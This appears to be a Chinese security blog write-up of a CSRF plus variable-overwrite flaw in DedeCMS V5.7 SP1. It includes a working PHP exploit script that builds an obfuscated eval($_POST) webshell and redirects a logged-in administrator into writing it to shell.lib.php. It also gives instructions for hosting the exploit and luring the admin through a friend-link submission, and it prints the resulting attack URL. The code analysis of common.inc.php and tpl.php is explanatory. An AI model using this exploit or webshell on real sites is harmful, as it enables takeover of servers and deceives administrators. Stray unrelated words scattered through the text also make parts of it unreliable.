因爲tpl.php中的$action,$content,$filename變量沒有初始化,從而能操縱這些變量寫入任意的代碼。 又因爲應用沒有對管理員的來源頁進行任何檢查,只是檢查了管理員是否登錄,從而形成了CSRF漏洞。 所以能夠誘導管理員以管理員的權限寫入代碼便可。
測試版本:DedeCMS-V5.7-UTF8-SP1-Full 20150618php
exp:sql
<?php //print_r($_SERVER); $referer = $_SERVER['HTTP_REFERER']; $dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede後臺的路徑 //拼接 exp $muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>'; $exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php'; $url = $dede_login.$exp; //echo $url; header("location: ".$url); // send mail coder exit(); ?>
首先,將這個exp部署在公網服務器上shell
http://192.168.113.129/exp.php
在目標網站的申請友情連接處申請一個友情連接數組
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/plus/flink_add.php
網址填寫爲先前的 http://192.168.113.129/exp.php, 名稱隨便填,也可填寫誘導性關鍵字引起管理員好奇心。安全
提交成功以後等待管理員審覈,當管理員審覈的時候,通常狀況下會點進你的網站看一下(漏洞利用關鍵)。服務器
管理員審覈:session
後臺 -> 模塊 -> 輔助插件 -> 友情連接
當管理員點這個友情連接的時候,就生成了一句話shell,shell地址在/include/taglib/shell.lib.php函數
事實上,點擊新添加的友情連接時,管理員觸發了一個HTTP請求:post
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php
頁面跳轉:測試
<title>成功修改/建立文件!</title>
生成shell地址:
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/include/taglib/shell.lib.php
在tpl.php文件中
/*--------------------------- function savetagfile() { } 保存標籤碎片修改 --------------------------*/ else if($action=='savetagfile') { if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename)) { ShowMsg('文件名不合法,不容許進行操做!', '-1'); exit(); } require_once(DEDEINC.'/oxwindow.class.php'); $tagname = preg_replace("#\.lib\.php$#i", "", $filename); $content = stripslashes($content); $truefile = DEDEINC.'/taglib/'.$filename; $fp = fopen($truefile, 'w'); fwrite($fp, $content); fclose($fp); $msg = " <form name='form1' action='tag_test_action.php' target='blank' method='post'> <input type='hidden' name='dopost' value='make' /> <b>測試標籤:</b>(須要使用環境變量的不能在此測試) <textarea name='partcode' cols='150' rows='6' style='width:90%;'>{dede:{$tagname} }{/dede:{$tagname}}</textarea> <input name='imageField1' type='image' class='np' src='images/button_ok.gif' width='60' height='22' border='0' /> </form> "; $wintitle = "成功修改/建立文件!"; $wecome_info = "<a href='templets_tagsource.php'>標籤源碼碎片管理</a> >> 修改/新建標籤"; $win = new OxWindow(); $win->AddTitle("修改/新建標籤:"); $win->AddMsgItem($msg); $winform = $win->GetWindow("hand"," ",false); $win->Display(); exit(); }
這裏是漏洞利用寫入文件的地方,可是咱們知道,基本全部的不安全狀況,是在數據輸入輸出時發生的,這裏的參數是怎麼傳遞過來的呢?還有$filename和$content是怎麼傳遞參數的呢?繼續跟蹤config.php又 include了 common.inc.php ,而通常狀況下,相似common.php這種文件名的,裏面存放着一些將會常常用到的函數。繼續跟蹤上去。果真發現了貓膩在common.inc.php 發現了
foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { if($_k == 'nvarname') ${$_k} = $_v; else ${$_k} = _RunMagicQuotes($_v); } }
問題在哪呢? 這段代碼大概的意思是 從數組中獲取獲取參數的方,這裏GET,POST,COOKIE方式的參數都有了。
先來跟蹤GET,二層循環中$_GET(這個能夠看做是一個全局數組)**$_k ,$_v 獲取數組的key value值.${$_k}這裏全局註冊了變量,假如輸入GET型參數 ?test=k4l0n.則在本php頁及全部包含本頁的php頁中 , $test的值都被賦值爲了kl0n
而tpl.php中的$action,$content,$filename變量沒有初始化,從而能操縱這些變量寫入任意的代碼。
繼續跟蹤 userLogin類的getUserID函數:
/** * 得到用戶的ID * * @access public * @return int */ function getUserID() { if($this->userID != '') { return $this->userID; } else { return -1; } }
userLogin類用戶登陸
/** * 檢驗用戶是否正確 * * @access public * @param string $username 用戶名 * @param string $userpwd 密碼 * @return string */ function checkUser($username, $userpwd) { global $dsql; //只容許用戶名和密碼用0-9,a-z,A-Z,'@','_','.','-'這些字符 $this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username); $this->userPwd = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $userpwd); $pwd = substr(md5($this->userPwd), 5, 20); $dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1"); $dsql->Execute(); $row = $dsql->GetObject(); if(!isset($row->pwd)) { return -1; } else if($pwd!=$row->pwd) { return -2; } else { $loginip = GetIP(); $this->userID = $row->id; $this->userType = $row->usertype; $this->userChannel = $row->typeid; $this->userName = $row->uname; $this->userPurview = $row->purviews; $inquery = "UPDATE `#@__admin` SET loginip='$loginip',logintime='".time()."' WHERE id='".$row->id."'"; $dsql->ExecuteNoneQuery($inquery); $sql = "UPDATE #@__member SET logintime=".time().", loginip='$loginip' WHERE mid=".$row->id; $dsql->ExecuteNoneQuery($sql); return 1; } } /** * 保持用戶的會話狀態 * * @access public * @return int 成功返回 1 ,失敗返回 -1 */ function keepUser() { if($this->userID != '' && $this->userType != '') { global $admincachefile,$adminstyle; if(empty($adminstyle)) $adminstyle = 'dedecms'; @session_register($this->keepUserIDTag); $_SESSION[$this->keepUserIDTag] = $this->userID; @session_register($this->keepUserTypeTag); $_SESSION[$this->keepUserTypeTag] = $this->userType; @session_register($this->keepUserChannelTag); $_SESSION[$this->keepUserChannelTag] = $this->userChannel; @session_register($this->keepUserNameTag); $_SESSION[$this->keepUserNameTag] = $this->userName; @session_register($this->keepUserPurviewTag); $_SESSION[$this->keepUserPurviewTag] = $this->userPurview; @session_register($this->keepAdminStyleTag); $_SESSION[$this->keepAdminStyleTag] = $adminstyle; PutCookie('DedeUserID', $this->userID, 3600 * 24, '/'); PutCookie('DedeLoginTime', time(), 3600 * 24, '/'); $this->ReWriteAdminChannel(); return 1; } else { return -1; } }
經過跟蹤發現,這裏沒有對管理員的來源頁進行任何檢查,只是檢查了管理員是否登錄,這就形成了一個CSRF漏洞。到這裏漏洞思路就很清晰了,因爲變量可控漏洞致使可寫入任意代碼,因爲CSRF漏洞誘導管理員以管理員的權限去寫入代碼。